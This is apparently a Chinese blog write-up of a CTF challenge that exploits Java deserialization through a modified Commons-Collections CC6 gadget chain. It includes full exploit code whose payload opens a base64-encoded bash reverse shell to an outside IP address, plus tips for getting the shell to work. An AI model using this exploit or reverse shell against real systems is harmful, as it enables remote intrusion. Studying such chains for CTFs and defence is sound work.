Tritium

Tritium

JAVA入門的坑

這兩天萌新賽做了一道 java 的 CC 鏈變種 作為遇見的第一 or 二道 java 題 踩了好多坑 寫下來備用

審一下題目的 jar 包 有一個反序列化點 還有一個 transformer 類的子類 應該是仿的 invoketransformer 這個類,cc 鏈的基礎原理就是利用反序列化調用 invoketransformer,通過反射拿到 runtime 類實現 rce

題目給了提示是打 cc6 這條鏈,是修改的 cc1 在高 java 版本無法使用的替代品

cc 鏈可以看這裡

https://www.cnblogs.com/bitterz/p/15035581.html

對於 cc6 可以看看這個博客

https://www.yulate.com/348.html

對於傳統的 cc6 來說 它的利用鏈是以下這樣

java.io.ObjectInputStream.readObject();
java.util.HashSet.readObject();
java.util.HashMap.put();
java.util.HashMap.hash();
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode();
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue();
org.apache.commons.collections.map.LazyMap.get();
org.apache.commons.collections.functors.ChainedTransformer.transform();
org.apache.commons.collections.functors.InvokerTransformer.transform();
java.lang.reflect.Method.invoke();
java.lang.Runtime.exec();

反序列化一個 Hashset 對象,它在 wakeup 時會自動 readobject, 調用其中的 hashmap 的 hash 方法,內部實現是調用其內部對象的 hashcode 方法。在這一步計算 hash 就需要獲取 value,由此觸發了 lazymap 的 get 方法,Lazymap 調用 chainedtransformer 內部的 invoke,通過反射獲取了 runtime 類實現了 rce

但是查看依賴版本 是 cc3.2.2 這個版本已經修了傳統的 cc6 利用,是怎麼修復的呢?

查一下這個版本的 changelog

image

是把幾個危險的類 ban 掉 禁止序列化造成 RCE

用 jadx 反編譯 jar 包看到源碼,這裡看到題目中給的 eval 類,是仿的 invoketransformer 類

image

又把 serializable 加了回來 是故意的 這樣就能再利用這個類打 cc6 鏈

基於傳統的 cc6 鏈 payload,抄 + 改了一份 exp

這裡在配置環境踩了一堆坑 就不用寫了 以後也都會了

public class cc {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new eval("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new eval("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new eval("exec", new Class[]{String.class}, new String[]{"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNTAuMTA5LjE1OC4yMjAvOTAwMSAwPiYx}|{base64,-d}|{bash,-i}"}),
                new ConstantTransformer(1)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
        Map hashMap = new HashMap();
        Map decorate = LazyMap.decorate(hashMap, chainedTransformer);
        TiedMapEntry key = new TiedMapEntry(decorate, "key");
        HashSet hashSet = new HashSet(1);
        hashSet.add(key);
        decorate.remove("key");
        Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chainedTransformer, transformers);
        ByteArrayOutputStream buffer = new ByteArrayOutputStream();
        ObjectOutputStream output = new ObjectOutputStream(buffer);
        output.writeObject(hashSet);
        //base64編碼
        String payload = Base64.getEncoder().encodeToString(buffer.toByteArray());
        System.out.println(payload);
//        decoserize decoserize = new decoserize();
//        decoserize.decoserize(payload);

    }
}

這裡有兩個大坑

1. 包名,一定要改的和源文件裡的一模一樣,要不然反序列化出來他不認的

2. 彈 shell 傳統的簡單彈法用不了 原理可以看

https://www.cnblogs.com/BOHB-yunying/p/15523680.html

要把經典的語句改成

bash -c {echo,base64過的彈shell語句}|{base64,-d}|{bash,-i}

除此以外就能正常打了 傳 base64 記得 url 編碼

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。